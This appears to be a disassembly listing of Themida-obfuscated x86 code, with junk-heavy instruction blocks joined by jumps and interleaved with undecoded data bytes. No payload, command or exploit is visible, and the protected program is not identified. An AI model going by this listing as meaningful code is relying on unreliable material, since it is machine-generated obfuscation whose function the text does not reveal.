		xor	edi, 0AADD24AFh
		jmp	loc_54595F
; ---------------------------------------------------------------------------


loc_54DF9B:				; CODE XREF: Themida_:0054C864j
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 7D2C3ACDh
		shl	eax, 8
		sub	eax, 26868B0Bh
		sub	ebx, 409327CDh
		add	ebx, eax
		push	esi
		jmp	loc_54C525
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0FBh
		dd 0E91E8624h, 0FFFF6204h, 177AE95Eh, 0FC680000h, 89000065h
		dd 4832424h, 48B0424h, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 405h, 0C173E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E01A:				; CODE XREF: Themida_:00547555j
		mov	[esp], ebx
		mov	ebx, edx
		mov	ebp, ebx
		pop	ebx
		mov	[edi+20h], ebp
		push	dword ptr [esp]
		jmp	loc_548C64
; ---------------------------------------------------------------------------
		db 28h,	3Ch, 24h
		dd 83243C8Ah, 0B45002C4h, 58E7085Dh, 0C0CDE780h, 0E4E902EFh
		dd 83000007h, 9CE904ECh, 5CFFFF8Fh, 0FFDFCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E055:				; CODE XREF: Themida_:0054A0D4j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5496DD
; ---------------------------------------------------------------------------
		dd 55241489h, 0FFA80BE9h, 0E6F781FFh, 21181D14h, 0E277E9FDh
		dd 2EE9FFFFh, 0C0FFFF61h, 0FDE906EEh, 87FFFFC2h, 895C2404h
		dd 0BFE92404h, 0FFFFFFBAh, 565A2434h, 0C681E689h, 4, 0E904C683h
		dd 0FFFFA934h, 2E0FB951h, 0CB0111DEh, 9943E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E0B2:				; CODE XREF: Themida_:0054C330j
		mov	ax, [esp]
		add	esp, 2
		xor	al, cl
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_544E93
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 9C94E950h, 4BEFFFFh,	0E9000000h, 158Ch, 4C48158h, 0E9000000h
		dd 0FFFF76C0h, 3D09C2BAh, 0A2CA8136h, 81032918h, 0FC5992CAh
		dd 0A86CE961h, 0E953FFFFh, 0FFFF8A06h, 4EC8355h, 0FF8527E9h
		dd 24048BFFh, 0E904C483h, 0FFFF979Ch, 48BC329h,	4C48124h
		dd 0E9000000h, 0FFFF76C0h, 0E4C0ECD0h, 8AE48002h, 0FFB1F0E9h
		dd 403068FFh, 4890000h,	0AF7EE924h, 0E280FFFFh,	6EC280C3h
		dd 303BEA80h, 0E4C05AD4h, 0E9506607h, 0FFFFD00Bh
; ---------------------------------------------------------------------------


loc_54E154:				; CODE XREF: Themida_:00545C1Dj
		pop	eax
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	567Dh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		push	4
		pop	ebx
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5462F3
; ---------------------------------------------------------------------------
		db 81h
		dd 335B2434h, 81596263h, 63335BF1h, 24348B62h, 2104C483h
		dd 0F65BE9C8h, 8166FFFFh, 6622C9EFh, 665FFE89h,	0B9CE81h
		dd 66D6F766h, 1BBB6653h, 664B6631h, 8166D3F7h, 66713DF3h
		dd 6604E3C1h, 0EC83DBF7h, 14896602h, 1DBA6624h,	0D331666Fh
		dd 9665A66h, 665B66DEh,	7FA4EE81h, 5EF00166h, 0ABB96651h
		dd 6657550Fh, 662F28BFh, 8366DFF7h, 4766FFEFh, 0F7664766h
		dd 66A3E9D7h, 0EC81FFFFh, 4, 57242489h,	4BFh, 247C0100h
		dd 505B5F04h, 0FF865DE9h, 0F6815FFFh, 1E07AA22h, 24348156h
		dd 1CCA0F17h, 17F3815Bh, 5E1CCA0Fh, 3147EB81h, 2CE92FD1h
		dd 81FFFFB6h, 370FCCEFh, 9448E90Eh, 0FB31FFFFh,	0FB31DF31h
		dd 0D1F7CF87h, 0FB31CF87h, 0D2E9DF31h, 81FFFFDEh, 6D101AC6h
		dd 0E4E95A5Fh, 58FFFFE0h, 8904EC83h, 74FF2414h,	34FF0424h
		dd 0EAE95A24h, 51FFFFB9h, 42474FFh, 0FF8037E9h,	24148BFFh
		dd 0FF9F10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E291:				; CODE XREF: Themida_:0054ABA9j
		shl	edx, 2
		jmp	loc_54BE97
; ---------------------------------------------------------------------------
		db 50h,	9Ch, 0E9h
		dd 0FFFF5F09h, 68241489h, 6923h, 88240489h, 0F339E9CCh
		dd 0C89FFFFh, 51F18924h, 34FF038Fh, 0C4815924h,	4, 2434FF5Bh
		dd 8124348Bh, 4C4h, 4C48100h, 0FF000000h, 9E92434h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E2DF:				; CODE XREF: Themida_:0054C411j
		mov	[esp], ebp
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	esi
		jmp	loc_549AD9
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 40C68h, 24048900h, 5C0944B8h, 0B159E963h, 1A35FFFFh
		dd 561B414h, 235946E5h,	1117B951h, 0C8016B9Fh, 6F542559h
		dd 4A351CBBh, 1679D3Dh,	0EB0158C3h, 3A1EEB81h, 525D730Eh
		dd 4BAh, 5AD30100h, 31241C33h, 1C33241Ch, 34FF5C24h, 0FE95924h
		dd 66FFFFD7h, 66241489h, 46E99C50h, 89FFFF5Eh, 0F2815FFAh
		dd 4A213F7Ch, 0D102E2C1h, 5EAC1E2h, 1B1CEA81h, 0D70100E4h
		dd 243C875Ah, 0C8BE0F5Ch, 4EC8151h, 89000000h, 0EC832424h
		dd 24348904h, 4BEh, 0BBC9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E39E:				; CODE XREF: Themida_:0054CFA3j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
		db 87h
		dd 24F681D6h, 0E9BA88D8h, 0FFFF85EBh, 8B243C87h, 0EC812424h
		dd 4, 89242C89h, 4EC83E5h, 56240489h, 4BEh, 6CDDE900h
		dd 0EC83FFFFh, 24348904h, 1C41BCBEh, 5EF38904h,	535BD929h
		dd 83E9E389h, 0F7FFFFECh, 48B2414h, 0E6895624h,	0FF741DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E3FD:				; CODE XREF: Themida_:0054893Dj
		push	edi
		jmp	loc_545A47
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B5BDE88h, 0C481240Ch, 4, 0FFC187E9h, 0E9EE01FFh, 0FFFFEAE2h
		dd 592434FFh, 0C697E953h, 0C583FFFFh, 0BDE95504h, 1000015h
		dd 2C875AD5h, 57215C24h, 9FE95A1Ch, 89FFFF7Ch, 0C7815DEFh
		dd 261E2A0Ah, 0FFB1FBE9h, 6D76BDFFh, 2E92785h, 0ACFFFFA4h
		dd 0FFCE61E9h, 0C06AB6FFh, 0CEFE02E6h, 5273B151h, 0FFADD4E9h
		dd 2B8FFh, 0EB810000h, 12553BE0h, 0C381C329h, 12553BE0h
		dd 0A1EDE958h, 0C483FFFFh, 5A505E04h, 0E9D12158h, 0FFFF8CB8h
		dd 0F605E2C0h, 0B05066D2h, 66C228D1h, 0E924048Bh, 0FFFF91B5h
		dd 0FF2434FFh, 34FF2434h, 0C4835824h, 0E6895604h, 4C681h
		dd 0BA520000h, 4, 0ACE9D601h, 68FFFFC2h, 43B3h,	54241C89h
		dd 0FF9B18E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E4D9:				; CODE XREF: Themida_:0054C508j
		pop	esp
		xchg	esi, [esp]
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5441A9
; ---------------------------------------------------------------------------


loc_54E4E7:				; CODE XREF: Themida_:0054D422j
		add	esp, 4
		jmp	loc_54ECA9
; ---------------------------------------------------------------------------


loc_54E4F2:				; CODE XREF: Themida_:0054D6AEj
		mov	ebx, eax
		pop	eax
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	0FC2h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 203B73DDh
		dec	ebp
		or	ebp, 24CC7C69h
		shr	ebp, 7
		or	ebp, 506016C1h
		add	ebp, 22720215h
		mov	eax, ebp
		jmp	loc_54D2B9
; ---------------------------------------------------------------------------
		db 81h
		dd 359D3F7h, 288E96Fh, 0E95D0000h, 0FFFFEA30h, 0E92434FFh
		dd 0FFFF8E67h, 0C0EB81h, 4CE97FBCh, 81FFFFA7h, 4C3h, 0ECE2E900h
		dd 44BFFFFFh, 50366824h, 682440B8h, 58C72936h, 0E95FF989h
		dd 0FFFFAFD4h, 0E958C729h, 0FFFFA9DEh, 5C243487h, 0FF9674E9h
		dd 9BC181FFh, 582D8B17h, 3302C183h, 0C31240Ch, 72E2E924h
		dd 2C8BFFFFh, 4C48124h,	87000000h, 248B2414h, 24048B24h
		dd 0FFA729E9h, 45BBBDFFh, 0C5816CA1h, 0B06802C6h, 2C8BEE01h
		dd 0AB8AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E5CA:				; CODE XREF: Themida_:00546C4Ej
		add	esp, 4
		add	edx, edi
		add	edx, 14962076h
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		mov	ecx, [ebx]
		pop	ebx
		pop	edx
		jmp	loc_544809
; ---------------------------------------------------------------------------
		db 29h,	0FEh, 5Fh
		dd 0BBF7E951h, 3C8BFFFFh, 7357E924h, 0B951FFFFh, 672512B9h
		dd 0C8BCD89h, 4C48124h,	0F7000000h, 9E2EE9DDh, 0BE56FFFFh
		dd 577F2EB7h, 6B43CE81h, 0E6C142FCh, 0E7F68107h, 52AD69C7h
		dd 0A4F98BBAh, 5AD6292Bh, 6E9F589h, 29FFFFE4h, 0AFBA52FBh
		dd 1694550h, 815F5AD3h,	92261EF3h, 0CDCB814Fh, 520F0850h
		dd 24AF5BAh, 7A2FE948h,	0E901FFFFh, 0F9E9h, 5B43E900h
		dd 6856FFFFh, 4A6E6778h, 0FFEF3AE9h, 515E54FFh,	0C181E189h
		dd 4, 4E981h, 51E90000h, 0BEFFFFA5h, 0CF57B685h, 815EF031h
		dd 0BD6718C6h, 0E9C6014Fh, 79Dh, 606FD42Dh, 8B50E937h
		dd 77FFFFFFh, 242C8138h, 780A582Ch, 0E9240C8Bh,	0FFFFF55Fh
		dd 91E9F8B1h, 8FFFFFF6h, 685C2404h, 2528h, 0E9240C89h
		dd 0FFFFEB10h, 0FF5AD4E9h, 48B66FFh, 71E66824h,	2C890000h
		dd 505D5424h, 0D30097B8h, 932D77h, 0C50177D3h, 4EC8158h
		dd 89000000h, 82E9241Ch, 52FFFFC6h, 0F68023B6h,	75CE8082h
		dd 80C4B753h, 0FE0037EFh, 0FFB28EE9h, 5DE801FFh, 2474FF50h
		dd 48F5804h, 24248B24h,	24048B66h, 56E78957h, 4BEh, 8BF70100h
		dd 33E92434h, 5A00000Dh, 4B95156h, 89000000h, 0EA8159CEh
		dd 0C102F20h, 0F101E956h, 1432FFFFh, 0D2CAE924h, 815DFFFFh
		dd 2C1h, 240C8700h, 6624248Bh, 9C240CFFh, 0FF5A38E9h, 4E981FFh
		dd 87000000h, 248B240Ch, 241C8924h, 26E9C788h, 0C1FFFFCCh
		dd 0E0D105E0h, 0E9D3F793h, 0FFFFF38Ch, 2434FF54h, 0DF40E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E79E:				; CODE XREF: Themida_:00548C95j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_54AA33
; ---------------------------------------------------------------------------
		db 88h
		dd 714FE9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E7B2:				; CODE XREF: Themida_:005456F3j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54853F
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 7CE01868h, 6DABCF81h, 38E907C0h, 0F7FFFFEFh,	0F7F287DAh
		dd 81F287D6h, 0D9F7E4EAh, 18B95188h, 811AC40Eh,	9D7912F1h
		dd 59C80105h, 9D31E105h, 2DD0016Bh, 6B9D31E1h, 0AA368h
		dd 0D768E900h, 405FFFFh, 5000000h, 4, 0E9240487h, 0FFFFD4ACh
; ---------------------------------------------------------------------------


loc_54E81C:				; CODE XREF: Themida_:0054A783j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54BF31
; ---------------------------------------------------------------------------
aAqHc		db 'h$',0
		dw 8900h
		dd 0B450241Ch, 80D1B796h, 3BE9C0C7h, 83FFFFB5h,	0FF5202C2h
		dd 5A042474h, 0ADFE9h, 0D4EB8100h, 0E9748707h, 1BDCh, 8107E9C1h
		dd 0B08536E9h, 59CB318Bh, 8BE9D901h, 0BDFFFFE1h, 56B10680h
		dd 34FFE989h, 2434FF24h, 0D8E9515Dh, 5DFFFFB9h,	335DE929h
		dd 0F0E9240Ch, 66FFFFAEh, 28000068h, 7EE92414h,	0F7FFFFE0h
		dd 5D8F7D8h, 9A91572Ah,	0FF9B0AE9h, 268FFh, 815D0000h
		dd 2D795CEEh, 0FB5BE91Ch, 505DFFFFh, 42474FFh, 24048F58h
		dd 0FFDDD5E9h, 243C87FFh, 6CBA525Ch, 0E97C3E5Fh, 0FFFFF2D7h
		dd 0FDE9D5F7h, 81FFFFA6h, 8563EDF6h, 0B0BB530Fh, 0E96DA631h
		dd 0FFFFDBAEh
; ---------------------------------------------------------------------------


loc_54E8F0:				; CODE XREF: Themida_:0054B9F5j
		xor	ecx, eax
		push	30A7h
		mov	[esp], ebx
		jmp	loc_547D89
; ---------------------------------------------------------------------------
		db 8
		dd 805966EEh, 0F1886BC6h, 0F65E95Ah, 15D0000h, 685758C1h
		dd 4A9Dh, 0BA241489h, 615838D8h, 0E95AD789h, 0FFFFB73Ah
		dd 0B60F66h, 0B116866h,	24048966h, 0FF8121E9h, 59072CFFh
		dd 0FFB5C8E9h, 48B66FFh, 0E6895624h, 2AAABF57h,	0CF8177C3h
		dd 713130DAh, 7F11EF81h, 0F7816DC7h, 0A2BBBEDh,	815FFE01h
		dd 4EEh
dword_54E968	dd 24348700h, 2414895Ch, 8418E954h ; DATA XREF:	Themida_:0054718Fo
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E976:				; CODE XREF: Themida_:0054C807j
		mov	[esp], edx
		push	0
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_544456
; ---------------------------------------------------------------------------
		db 66h
		dd 6E9028Fh
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E9A3:				; CODE XREF: Themida_:00544D0Fj
		pop	ebx
		shl	ecx, 7
		add	ecx, 5D5F0DCBh
		sub	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 854A1E03h
		xor	ebp, ecx
		pop	ecx
		shr	ebp, 7
		add	ebp, 423A52C6h
		push	ecx
		mov	ecx, 2F950412h
		jmp	loc_54AB99
; ---------------------------------------------------------------------------
		db 58h,	50h, 89h
		dd 405E0h, 42D0000h, 0E9000000h, 0FFFFE259h, 87E95650h
		dd 5FFFF86h, 11414F2Dh,	22B8055Bh, 64E9317Bh, 83FFFFD6h
		dd 0E58104C4h, 12A6E32h, 4E5AED81h, 0E945604Ch,	1588h
; ---------------------------------------------------------------------------


loc_54EA0C:				; CODE XREF: Themida_:00546EE6j
		pop	eax
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		push	64276696h
		mov	eax, [esp]
		add	esp, 4
		or	eax, 6BCC4086h
		jmp	loc_54F0FB
; ---------------------------------------------------------------------------
		dw 0D888h
		dd 0C588EB88h, 0D3F65866h, 0E580DD86h, 5EDC0F6h, 0B252CDFEh
		dd 0E9D52887h, 0FFFFA8D1h, 0E2D1C209h, 0FF68D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EA51:				; CODE XREF: Themida_:00546D19j
		add	esp, 4
		push	bx
		jmp	loc_547F50
; ---------------------------------------------------------------------------
		db 89h
		dd 0E189240Ch, 5E08950h, 4, 0E904E883h,	0FFFFF613h
; ---------------------------------------------------------------------------


loc_54EA70:				; CODE XREF: Themida_:0054761Cj
		dec	eax
		xor	eax, 6651DD2h
		xor	ebx, eax
		jmp	loc_548F8A
; ---------------------------------------------------------------------------
		db 0BDh, 47h, 14h
		dd 0EA890D05h, 81242C8Bh, 4C4h,	9EE28100h, 5646BB30h, 0EF4CA0BEh
		dd 89EE810Ah, 81548D17h, 435730EEh, 0E9E6D123h,	0FFFFD0BEh
		dd 240C8B66h, 35A76856h, 24890000h, 24048324h, 24348B04h
		dd 5204C483h, 0D378EABAh, 0BB53566Eh, 5A8330D6h, 17D8CB81h
		dd 0F3817759h, 2C6133D2h, 33BA524Bh, 0E942F723h, 0FFFF6AE0h
		dd 8B240487h, 0C3812424h, 4, 2C381h, 1C870000h,	24248B24h
		dd 24048B66h, 4EC81h, 14890000h, 49EF6824h, 24890000h
		dd 4BB5324h, 1000000h, 0E904245Ch, 0FFFFD45Bh, 4C476205h
		dd 0E9C23100h, 0FFFFA3EFh, 4C281h, 10E90000h, 5BFFFF64h
		dd 0FF7ADFE9h, 4EC83FFh, 53241489h, 986C6768h, 0B1E95B69h
		dd 59FFFFD6h, 0E9242C87h, 0FFFFDA89h, 0EF81C701h, 73CB482Fh
		dd 74FF5758h, 0E95F0424h, 0A17h, 0A4B68h, 241C8900h, 0FFFFFFBBh
		dd 5BDD01FFh, 0CF05BF57h, 0FD01B031h, 0E9E8315Fh, 0FFFF846Ch
		dd 33241C31h, 248B241Ch, 0AFD6E924h, 8158FFFFh,	3C6394C5h
		dd 94F5815Ah, 0E974107Dh, 17E2h
; ---------------------------------------------------------------------------


loc_54EBB0:				; CODE XREF: Themida_:0054C74Dj
		mov	[esp], ebp
		push	3894h
		jmp	loc_54B358
; ---------------------------------------------------------------------------


loc_54EBBD:				; CODE XREF: Themida_:00546197j
		add	ebp, 4
		jmp	loc_548BBE
; ---------------------------------------------------------------------------
		dd 0C280C228h, 665866A4h, 6618CA68h, 0B3241C89h, 7AD8E965h
		dd 0E789FFFFh, 0FFC1BEE9h, 0C0F781FFh, 0E9656F43h, 0FFFFC9C8h
		dd 0E389535Bh, 4C381h, 0A3E90000h, 29FFFFB3h, 0C38159CBh
		dd 27A45C37h, 0FFB56EE9h, 0C8B66FFh, 4456824h, 3C890000h
		dd 52E78924h, 0FFD6E3E9h, 4BD55FFh, 1000000h, 0EE815DEEh
		dd 4, 31243433h, 28E92434h, 68FFFF9Ah, 0CD915C8h, 1169BE58h
		dd 0C601F9DEh, 0D8D1BD58h, 0F501F948h, 8BEB015Eh, 0C483242Ch
		dd 0C79BE904h, 0EE28FFFFh, 5AF02859h, 0D6B55166h, 0A4B55152h
		dd 0E9F8ED80h, 0FFFF5D3Ah, 2C5A68h, 24148900h, 64B168h
		dd 48F5400h, 5E84E924h,	0C481FFFFh, 4, 0FFC285E9h, 0E9C301FFh
		dd 0FFFF8A4Eh, 82E9F729h, 55FFFFC6h, 0FF6DE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54ECA9:				; CODE XREF: Themida_:0054E4EDj
		xchg	edx, ebp
		jmp	loc_548402
; ---------------------------------------------------------------------------
		dd 789268h, 24348900h, 3A28BB53h, 2CBE15C4h, 2915C43Ah
		dd 85E95BDEh
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ECCB:				; CODE XREF: Themida_:00549902j
		add	ecx, ebx
		pop	ebx
		jmp	loc_54BD02
; ---------------------------------------------------------------------------
		db 89h
		dd 0D6BA2414h, 0E934F367h, 0FFFFC6A2h, 2575C581h, 2AE9B903h
		dd 83FFFFFAh, 296804C4h, 89000037h, 8E682404h, 89000009h
		dd 48B2414h, 4C48324h, 0F3F6E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ED0A:				; CODE XREF: Themida_:0054DD4Bj
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3CF075EFh
		jmp	loc_54B55F
; ---------------------------------------------------------------------------


loc_54ED1B:				; CODE XREF: Themida_:00548316j
		xor	[esp], ebp
		not	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		pop	ebx
		shl	ebx, 3
		xor	ebx, 2AD4A8Fh
		push	edi
		mov	edi, 703157A3h
		add	eax, edi
		jmp	loc_54BFB3
; ---------------------------------------------------------------------------
		dd 618C0EBFh, 5FF90185h, 2A3CED2Dh, 5C80142h, 422A3CEDh
		dd 0FFAED1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54ED59:				; CODE XREF: Themida_:0054C24Fj
		push	edi
		jmp	loc_5498B9
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81582434h, 4C4h, 2C18100h, 87000000h, 248B240Ch, 240CFE24h
		dd 542BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ED7E:				; CODE XREF: Themida_:00546FE6j
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 12100B35h
		sub	ebx, 7DC04D4Bh
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5493A1
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 4Eh
		dd 8FE95066h, 5FFFF94h,	28BC4F5Eh, 8537832Dh, 8E8C14Fh
		dd 0FF75E1E9h, 2474FFFFh, 0CF07E904h, 3C8BFFFFh, 4C48124h
		dd 51000000h, 2B9h, 0ECB85000h,	0E9543407h, 0FFFFFFCBh
		dd 0FEE923B1h, 0FFFFFFAEh, 5B042474h, 5C24048Fh, 492F68h
		dd 240C8900h, 0C1815954h, 4, 815F5457h,	4C7h, 4EF8100h
		dd 87000000h, 6AE9243Ch, 87FFFFE1h, 515C242Ch, 1B9h, 0CD67E900h
		dd 0EB81FFFFh, 1E373652h, 0FF79E5E9h, 18EE81FFh, 8B4FBD67h
		dd 89572404h, 4C781E7h,	83000000h, 22E904C7h, 81FFFF64h
		dd 96043CE9h, 77B6683Bh, 14890000h, 57555624h, 23773CBFh
		dd 0EFC14753h, 5729E905h, 0DAB9FFFFh, 0E960A82Fh, 0FFFFD7B1h
		dd 4EC8358h, 0FFF240E9h, 3ABE68FFh, 4890000h, 4BD5524h
		dd 89000000h, 242C8BE8h, 8104C483h, 0D81A67C7h,	0C8C7813Fh
		dd 16ACD4Bh, 56E956C7h,	89FFFF85h, 41BF243Ch, 296BD817h
		dd 0F1E95FF8h, 2DFFFF66h, 53A01BE1h, 30112905h,	0E7C3E9A7h
		dd 2568FFFFh, 89000071h, 5954240Ch, 4C181h, 0EC810000h
		dd 4, 0FF780BE9h, 0ACF381FFh, 0E9008360h, 0FFFFA163h, 0C104C483h
		dd 0C58105E5h, 7DDABA2h, 34FFE901h, 0C4815D24h,	4, 8B240C87h
		dd 8B662424h, 5452240Ch, 0FF5ED5E9h, 8BE300FFh,	0D4E92404h
		dd 0F7FFFFD6h, 4AE949D1h, 5FFFFFBFh, 767CBE56h,	0E6D13024h
		dd 2845F681h, 0F68161ACh, 39B1F068h, 0FFE5F0E9h, 19C281FFh
		dd 1910486h, 0BB535AD6h, 2, 0FF8210E9h,	243C33FFh, 0E9243C31h
		dd 0FFFFDD29h
; ---------------------------------------------------------------------------


loc_54EF68:				; CODE XREF: Themida_:005473E3j
		pop	edx
		xor	ebp, ecx
		pop	ecx
		and	eax, ebp
		pop	ebp
		jmp	loc_54FE69
; ---------------------------------------------------------------------------
		dd 0C51ABB53h, 0DA018B29h, 0FFD7295Bh, 835A2434h, 0E9C304C4h
		dd 0FFFF521Dh, 0FF241C89h, 41E92434h, 68FFFFF1h, 2F87h
		dd 0B8240489h, 68B43680h, 26A33540h, 0C3291B78h, 6B95158h
		dd 8150B164h, 0ABED74E9h, 0B330E9F3h, 4BAFFFFh,	29000000h
		dd 2434FFD1h, 4C4835Ah,	2474FF51h, 48F5904h, 24248B24h
		dd 11FDE9h, 0F4BBBD00h,	0E801D4FAh, 0FFF925E9h,	38C281FFh
		dd 0E974323Dh, 0FFFF8DC5h, 8124348Bh, 4C4h, 21F56800h
		dd 2C890000h, 4BD24h, 0EE010000h, 2BA525Dh, 81000000h
		dd 0CE0DBEC6h, 81D60123h, 0CE0DBEEEh, 24148B23h, 4C481h
		dd 34870000h, 8E95C24h,	8FFFFFE0h, 6EE94047h, 52FFFF51h
		dd 82032D68h, 0C2815A70h, 168D3090h, 145EEA81h,	0D389501Bh
		dd 81DBF75Ah, 0A11D10C3h, 8FBDE91Dh, 8B66FFFFh,	8950240Ch
		dd 4EC81E0h, 89000000h,	0BE9240Ch, 87FFFFCEh, 0D54EE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F07A:				; CODE XREF: Themida_:00546C16j
		add	esp, 4
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
		dw 405h
		dd 0E9000000h, 0FFFF7E8Ah, 31241433h, 14332414h, 14895C24h
		dd 81E28924h, 4C2h, 72BE5600h, 8140A30Ch, 0A30C76F6h, 82EA8140h
		dd 1356E36h, 82C281F2h,	0E9356E36h, 0FFFFDC71h,	875EF501h
		dd 248B242Ch, 4216624h,	0D6E99C24h, 8BFFFF50h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_547224
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C15A2414h, 0EAD108EAh, 7DD4F281h, 0E9E9652Ah
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F0FB:				; CODE XREF: Themida_:0054EA25j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 23AE75DAh
		shr	ecx, 2
		add	ecx, 680D6837h
		dec	ecx
		add	ecx, 0FFFFFFFFh
		add	ecx, 0C51F60E5h
		or	eax, ecx
		pop	ecx
		push	esi
		push	edi
		mov	edi, 2FCF3B04h
		not	edi
		jmp	loc_549BFA
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 0FAh
		dd 8159D80Fh, 477561F5h, 0F301E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F13E:				; CODE XREF: Themida_:00548E93j
		add	cl, 6Ch
		add	bl, cl
		pop	ecx
		mov	al, bl
		pop	ebx
		add	bl, al
		mov	ax, [esp]
		jmp	loc_54C4EB
; ---------------------------------------------------------------------------
		dw 2D5Bh
		dd 7B7097Ah, 91AC22Dh, 0E9E80162h, 0FFFFA35Fh, 1D9B68h
		dd 24048900h, 0FF7851E9h, 81FB01FFh, 671C69C3h,	243C8B16h
		dd 130BE9h, 5EF30100h, 1022C381h, 7A6873CCh, 8900003Bh
		dd 8150242Ch, 649F242Ch, 2C8B3737h, 82D0E924h, 0EE01FFFFh
		dd 0FF87A0E9h, 685155FFh, 71613177h, 0C1814959h, 0A499E2DEh
		dd 0FF90F3E9h, 0A2E981FFh, 1203992h, 9A16E9CFh,	0D1F7FFFFh
		dd 25E98149h, 89A58F83h, 6AE959CEh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F1DB:				; CODE XREF: Themida_:00545ADFj
		pop	edi
		push	esi
		mov	esi, 5D8A1972h
		dec	esi
		inc	esi
		jmp	loc_54BE01
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 0FFBB4EE9h, 0E9D301FFh, 0FFFFADCBh, 24042966h, 4FA7E99Ch
		dd 555EFFFFh, 0A733E0BDh, 0E9EE0160h, 0FFFF7919h, 0FFC18141h
		dd 9D5749Bh, 4BE91C4Fh,	0FFFFD1h, 2EC81D8h, 66000000h
		dd 0B1240C89h, 0F3B65290h, 285AF000h, 66F32CC8h, 4EC8159h
		dd 89000000h, 0B753240Ch, 8E7C05Ah, 68F1CF80h, 6865h, 81240489h
		dd 4ECh, 24148900h, 0F088D3B6h,	5152665Ah, 0E0B21EB5h
		dd 0FF6A9EE9h, 6E9C0FFh, 8002E1C0h, 0CB00E0C1h,	16C38059h
		dd 0EB80CB28h, 0E0EB8016h, 83240C8Bh, 0C32804C4h, 3BF46866h
		dd 240C8966h, 8814B050h, 0EB8058C1h, 80CB0094h,	8B6694C3h
		dd 0C481240Ch, 2, 0FFA15AE9h, 92E9ADFFh, 8BFFFFC7h, 3CD32424h
		dd 0E6E99C24h, 0B9FFFF4Eh, 0B241BCAh, 6ED7F181h, 0C181269Ah
		dd 5C7E6080h, 5EB4BB53h, 0EBC11C25h, 85F4E906h,	0CB80FFFFh
		dd 0AEDAE99Fh, 8359FFFFh, 0E95104EDh, 0FFFFE54Ch, 22EB7F2Dh
		dd 0E9C521E6h, 0FFFFF89Eh, 24D3CD81h, 65E91D02h, 59FFFFF8h
		dd 4C281h, 79E90000h, 0FFFFFFB2h, 0FF042474h, 48B2434h
		dd 0A4E95124h
		db 0BDh, 2 dup(0FFh)
